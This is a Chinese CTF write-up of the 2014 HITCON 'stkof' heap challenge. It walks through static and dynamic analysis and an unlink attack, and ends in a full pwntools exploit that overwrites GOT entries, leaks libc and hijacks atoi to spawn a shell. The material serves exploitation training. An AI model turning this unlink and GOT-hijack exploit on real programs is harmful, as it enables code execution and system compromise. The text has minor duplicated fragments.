2014 HITCON stkof writeup

原创

Morphy_Amo 已于 2022-01-27 11:27:24 修改 1744 收藏

分类专栏： pwn题 文章标签： 安全 web安全

于 2022-01-24 15:56:22 首次发布

> 【pwn学习】堆溢出（三）- Unlink和UAF的相关题目

题目链接

1、查看安全策略

```
root@kali:~/ctf/Other/pwn/heap# checksec stkof
[*] '/root/ctf/Other/pwn/heap/stkof'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
```

可以看到是64位系统，同时开启了canary和NX

2、静态分析

```
[0x00400c58]> afl
0x00400840    1 42           entry0
0x004007c0    1 6            sym.imp.__libc_start_main
0x00400750    1 6            sym.imp.free
0x00400760    1 6            sym.imp.puts
0x00400770    1 6            sym.imp.fread
0x00400780    1 6            sym.imp.strlen
0x00400790    1 6            sym.imp.__stack_chk_fail
0x004007a0    1 6            sym.imp.printf
0x004007b0    1 6            sym.imp.alarm
0x004007d0    1 6            sym.imp.fgets
0x004007e0    1 6            sym.imp.atoll
0x00400800    1 6            sym.imp.malloc
0x00400810    1 6            sym.imp.fflush
0x00400820    1 6            sym.imp.atol
0x00400830    1 6            sym.imp.atoi
0x00400c58   21 250          main
0x00400910    8 122  -> 90    entry.init0
0x004008f0    3 28           entry.fini0
0x00400870    4 50   -> 41    fcn.00400870
0x004007f0    1 6            loc.imp.__gmon_start
0x00400936    6 178          fcn.00400936
0x004009e8   13 287          fcn.004009e8
0x00400b07    8 162          fcn.00400b07
0x00400ba9   11 175          fcn.00400ba9
0x00400720    3 26           fcn.00400720
0x0040092a    5 134  -> 67    fcn.0040092a
```

调用的函数里，有几个函数可以注意一下

`malloc` 和 `free` 涉及到堆

```
[0x00400c58]> axt sym.imp.malloc
fcn.00400936 0x40097c [CALL] call sym.imp.malloc
[0x00400c58]> axt sym.imp.free
fcn.00400b07 0x400b7a [CALL] call sym.imp.free
```

`alarm`，alarm的libc地址加上5就可以得到system函数。

`puts`，经常用来泄露libc基址

下面来梳理一下程序的功能

首先会读取一个长度小于10的字符串，然后把这个字符串转化为整数，我们暂且把这个数命名为input_NUM

判断input_NUM的值

```
if input_NUM == 1:
  res = handle_1()    # fcn.00400936()
elif input_NUM == 2:
    res = handle_2()      # fcn.004009e8()
elif input_NUM == 3:
  res = handle_3()      # fcn.00400b07()
elif input_NUM == 4:
  res = handle_4()      # fcn.00400ba9()
else:
  res = -1
```

判断res的值

```
if res == 0:
  puts("OK")
else:
  puts("FAIL")
```

接下来分别看下几个分支的函数的作用

`handle_1`：用户输入一个数字，然后程序会使用malloc分配对应大小的内存，分配成功的话返回0，否则返回-1；之后程序会打印本次创建的chunk的序号

`Handle_2`：

```
offset = 用户输入数字

if input_NUM < 0x100001:
  if 地址 [0x602140 + offset * 8] 储存的值 != 0:
        inputCount = 用户输入数字
        逐个字节把inputCount个字节的内容写入对应的chunk中
        写入成功则return 0
else:
  ret = -1
```

`handle_3`：用户输入一个数字offset，如果地址[0x602140 + offset * 8] 储存的值不为0，则释放[0x602140 + offset * 8]地址对应的chunk，并且将地址[0x602140 + offset * 8]置为0。

`handle_4`：用户输入一个数字offset，如果地址[0x602140 + offset * 8] 储存的值不为0，则计算[0x602140 + offset * 8]地址开始的字符串长度，如果长度小于4，则输出`//TODO`，否则输出`...`。

动态调试

利用gdb动态调试程序，首先明确了几个函数的功能，

1. 用户输入数字1～4选择功能
    1. 功能1 - 分配内存：进入功能后，用户输入一个数字来定义malloc()分配的大小，并返回创建的chunk的序号；
    2. 功能2 - 写入数据：进入功能或，用户首先输入chunk的序号来选择要写入的目标，然后输入一个数字表示要写入的字节数目，最后输入要写入的字符串；
    3. 功能3 - 释放内存：进入功能后，用户输入要释放的chunk的序号来执行free(chunk)的操作；
    4. 功能4 - 数据长度：进入功能后，用户输入目标chunk的序号，程序会计算字符串的长度，长度小于4输

4. 功能4 - 数据长度：进入功能后，用户输入目标chunk的序号，程序会计算字符串的长度，长度小于4输出 `//Todo`，否则输出 `...`。

2. 使用一个数组储存每个创建的chunk的指针，我们暂且称这个数组为global

程序启动后的堆分配如下所示

```
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xe05000
Size: 0x1011

Top chunk | PREV_INUSE
Addr: 0xe056a0
Size: 0x20961
```

alloc了一个chunk后会额外添加一个缓冲，此后再分配的时候会依次往后添加

```
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xe05000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0xe06010
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0xe06120
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0xe06530
Size: 0x41

Allocated chunk | PREV_INUSE
Addr: 0xe06570
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0xe06600
Size: 0x20a01
```

payload

```
from pwn import *

class EXP():
  def __init__(self):
    self.conn = process('./stkof')

  def _chunk_ptr(self, seq):
    return 0x602140 + seq * 8

  def alloc(self, size):
    self.conn.sendline(b'1')
    self.conn.sendline(size.encode())
    self.conn.recvuntil(b'OK\n')

  def edit(self, seq, length, content):
    self.conn.sendline(b'2')
```

```
    self.conn.sendline(seq.encode())
    self.conn.sendline(str(length).encode())
    self.conn.send(content)
    self.conn.recvuntil(b'OK\n')

  def free(self, seq):
    self.conn.sendline(b'3')
    self.conn.sendline(seq.encode())
    # self.conn.recvuntil(b'OK\n')

  def exp(self):
    self.alloc(str(0x100))   # chunk-1
    self.alloc(str(0x30))    # chunk-2
    self.alloc(str(0x80))    # chunk-3, 需要一个smallchunk来触发unlink

    # creake a forged chunk
    forged_chunk = p64(0)    # prev_size
    forged_chunk += p64(0x20)  # size
    forged_chunk += p64(self._chunk_ptr(2) - 0x18)  # fd
    forged_chunk += p64(self._chunk_ptr(2) - 0x10)  # bk
    forged_chunk += p64(0x20)  # the prev_size of forged_chunk's next chunk, bypass the check

    # padding chunk-2
    payload = forged_chunk.ljust(0x30, b'a')
    # override chunk-3
    payload += p64(0x30)   # prev_size
    payload += p64(0x80)   # size; make PREV_INUSE == 0 and let glibc believe its prev chunk is free. so, w
hen free(chunk-3), it will execute unlink(chunk-2)

    self.edit('2', len(payload) ,payload)
    self.free('3')
    self.conn.recvuntil(b'OK\n')
```

创建完chunk-3之后的heap分布如下

```
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xe05000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0xe06010
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0xe06120
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0xe06530
Size: 0x41

Allocated chunk | PREV_INUSE
Addr: 0xe06570
Size: 0x91

Top chunk | PREV_INUSE
Addr: 0xe06600
Size: 0x20a01
```

```
pwndbg> x/10gx 0x602140   # 储存堆的数组global如下
0x602140:       0x0000000000000000      0x0000000000e06020
0x602150:       0x0000000000e06540      0x0000000000e06580
```

payload写入后，chunk2和chunk3的内存被覆盖为如下所示

```
pwndbg> x/12gx 0xe06530
0xe06530:       0x0000000000000000      0x0000000000000041
0xe06540:       0x0000000000000000      0x0000000000000020
0xe06550:       0x0000000000602138      0x0000000000602140
0xe06560:       0x0000000000000020      0x6161616161616161
0xe06570:       0x0000000000000030      0x0000000000000090
0xe06580:       0x0000000000000000      0x0000000000000000

pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0xe05000
Size: 0x1011

Allocated chunk | PREV_INUSE
Addr: 0xe06010
Size: 0x111

Allocated chunk | PREV_INUSE
Addr: 0xe06120
Size: 0x411

Allocated chunk | PREV_INUSE
Addr: 0xe06530
Size: 0x41

Allocated chunk         # 没有了PREV_INUSE标识
Addr: 0xe06570
Size: 0x90

Top chunk | PREV_INUSE
Addr: 0xe06600
Size: 0x20a01
```

执行free(chunk-3)后，内存分布如下

forged_chunk的size发生了变化

```
pwndbg> x/12gx 0xe06530
0xe06530:       0x0000000000000000      0x0000000000000041
0xe06540:       0x0000000000000000      0x00000000000020ac1
0xe06550:       0x0000000000602138      0x0000000000602140
0xe06560:       0x0000000000000020      0x6161616161616161
0xe06570:       0x0000000000000030      0x0000000000000090
0xe06580:       0x0000000000000000      0x0000000000000000
```

heap中发现，虽然执行了`free(chunk-3)`的操作，但chunk-3仍处于allocated状态

```
...
Allocated chunk | PREV_INUSE
Addr: 0xe06530
Size: 0x41

Allocated chunk   # 虽然执行了 free chunk-3，却并没有释放chunk-3
```

```
Addr: 0xe06570
Size: 0x90

Allocated chunk | PREV_INUSE
Addr: 0xe06600
Size: 0x20a01
```

global数组中，global[3]的值被清零，global[2]的值被覆写为了forged_chunk -> fd的值。

```
pwndbg> x/10gx 0x602140
0x602140:       0x0000000000000000      0x0000000000e06020
0x602150:       0x0000000000602138      0x0000000000000000
```

> **Q：执行free(chunk-3)时，发生了什么因素导致了这样的变化呢？**
>
> glibc判断chunk-3是small chunk需要进行合并；
>
> chunk-3的PREV_INUSE标志位被覆写为了0，因此需要进行前向合并；
>
> 根据chunk-3的指针加上覆写的chunk-3的prev_size字段计算出前一个chunk的起始地址
>
> ```
> prev_chunk_ptr = chunk_3_ptr - prev_size = 0xe06570 - 0x30 = 0xe06540
> ```
>
> 得到的 `0xe06540` 正好就是我们构造的forged chunk的起始地址。
>
> 执行 `unlink(forged_chunk)` 的过程
>
> 1. FD = forged_chunk -> fd == 0x602138
> 2. BK = forged_chunk -> bk == 0x602140
> 3. 执行检查 `FD -> bk == forged_chunk && BK -> fd == forged_chunk`
>   1. FD -> bk = [0x602138 + 0x18] = [0x602150]
>   2. BK -> fd = [0x602140 + 0x10] = [0x602150]
>   3. 从上面创建完chunk-3之后的内存分布可以发现， `0x602150` 地址存储的数值正好就是 `0xe06540` ，即forged_chunk的地址，因此通过了检查
> 4. FD -> bk = BK : 0x602150的地址赋值为BK，即0x602140
> 5. BK -> fd = FD : 0x602150的地址赋值为FD, 即0x602138
>
> 至此 global[2]中的值成功被改写为0x602138.

global[2]被改写为了0x602138，这样一来，当向chunk-2中写入数据时，实际上是在向0x602138 地址开始的空间写入数据。而这里写入的内容，当我们输入对应位置的chunk序号时，就能触发。

下面，我们利用通过向chunk-2写入的功能，修改 global[0] 为 free@got 地址，同时修改 global[1] 为 puts@got 地址，global[2] 为 atoi@got 地址。

```
payload = b'a' * 8  # 填充0x602138开始的8个字节
payload += p64(stkof.got['free']) # global[0]
payload += p64(stkof.got['puts']) # global[1]
payload += p64(stkof.got['atoi']) # global[2]
self.edit('2', len(payload) , payload)
```

写入后的globla如下

```
pwndbg> x/10gx 0x602140
0x602140:       0x0000000000602018      0x0000000000602020
0x602150:       0x0000000000602088      0x0000000000000000
```

再看下global[0]地址的存储内容

```
pwndbg> x/gx 0x602018
0x602018 <free@got.plt>:        0x00007ffff7a91a70
pwndbg> x/gx 0x602020
0x602020 <puts@got.plt>:        0x00007ffff7a7d5d0
```

下面再向chunk-0进行写入的时候，相当于覆盖了free@got的内容，从而实现劫持free的目的。

```
payload = p64(stkof.got['puts'])
self.edit('0', len(payload), payload)
```

执行后我们再来看下

```
pwndbg> x/10gx 0x602140    # global 中的内容没有变化
0x602140:       0x0000000000602018      0x0000000000602020
0x602150:       0x0000000000602088      0x0000000000000000

pwndbg> x/gx 0x602018     # free@got被覆盖为了puts@plt的地址
0x602018 <free@got.plt>:        0x0000000000400760
```

此时调用free函数的话相当于执行了puts函数，我们通过泄露global[1]的来获取puts的实际地址，从而获取libc基址等等，最终实现获取shell

```
self.free('1') # puts(puts@got)
puts_addr = u64(self.conn.recv()[:6].ljust(8, b'\x00'))

libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('bin_sh_str')

# 用system的地址劫持atoi函数的GOT表，
payload = p64(system)
self.edit('2', len(payload), payload)

# 触发atoi
self.sendline(p64(binsh))
self.interactive()
```

writeup

```
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'

class EXP():
  def __init__(self):
    self.conn = process('./stkof')
    self.stkof = self.conn.elf
    # gdb.attach(self.conn, 'b main')

  def _chunk_ptr(self, seq):
    return 0x602140 + seq * 8

  def alloc(self, size):
    self.conn.sendline(b'1')
    self.conn.sendline(size.encode())
    self.conn.recvuntil(b'OK\n')
```

```python
def edit(self, seq, length, content):
    self.conn.sendline(b'2')
    self.conn.sendline(seq.encode())
    self.conn.sendline(str(length).encode())
    self.conn.send(content)
    self.conn.recvuntil(b'OK\n')

def free(self, seq):
    self.conn.sendline(b'3')
    self.conn.sendline(seq.encode())

def exp(self):
    self.alloc(str(0x100))                      # chunk-1
    self.alloc(str(0x30))                               # chunk-2
    self.alloc(str(0x80))                               # chunk-3, 需要一个smallchunk来触发unlink

    # creake a forged chunk
    forged_chunk = p64(0)                               # prev_size
    forged_chunk += p64(0x20)           # size
    forged_chunk += p64(self._chunk_ptr(2) - 0x18)              # fd
    forged_chunk += p64(self._chunk_ptr(2) - 0x10)              # bk
    forged_chunk += p64(0x20)           # the prev_size of forged_chunk's next chunk, bypass the check

    # padding chunk-2
    payload = forged_chunk.ljust(0x30, b'a')
    # override chunk-3
    payload += p64(0x30)                        # prev_size
    payload += p64(0x90)                        # size; make PREV_INUSE == 0 and let glibc believe its prev chun
k is free. so, when free(chunk-3), it will execute unlink(chunk-2)

    self.edit('2', len(payload) ,payload)
    self.free('3')
    self.conn.recvuntil(b'OK\n')

    payload = b'a' * 8  # 填充0x602138开始的8个字节
    payload += p64(self.stkof.got['free']) # global[0]
    payload += p64(self.stkof.got['puts']) # global[1]
    payload += p64(self.stkof.got['atoi']) # global[2]
    self.edit('2', len(payload) , payload)

    payload = p64(self.stkof.plt['puts'])
    self.edit('0', len(payload), payload)

    self.free('1')
    recvbytes = self.conn.recvuntil(b'\n')
    puts_addr = u64(recvbytes[:6].ljust(8, b'\x00'))
    print(f'puts addr: {hex(puts_addr)}')
    self.conn.recvuntil(b'OK\n')

    libc = LibcSearcher('puts', puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system = libc_base + libc.dump('system')
    binsh = libc_base + libc.dump('bin_sh_str')

    # 用system的地址劫持atoi函数的GOT表,
    payload = p64(system)
    self.edit('2', len(payload), payload)

    self.conn.sendline(p64(binsh))
```

```
    self.conn.sendline(p64(binsh))
    self.conn.interactive()

if __name__ == "__main__":
    EXP().exp()
```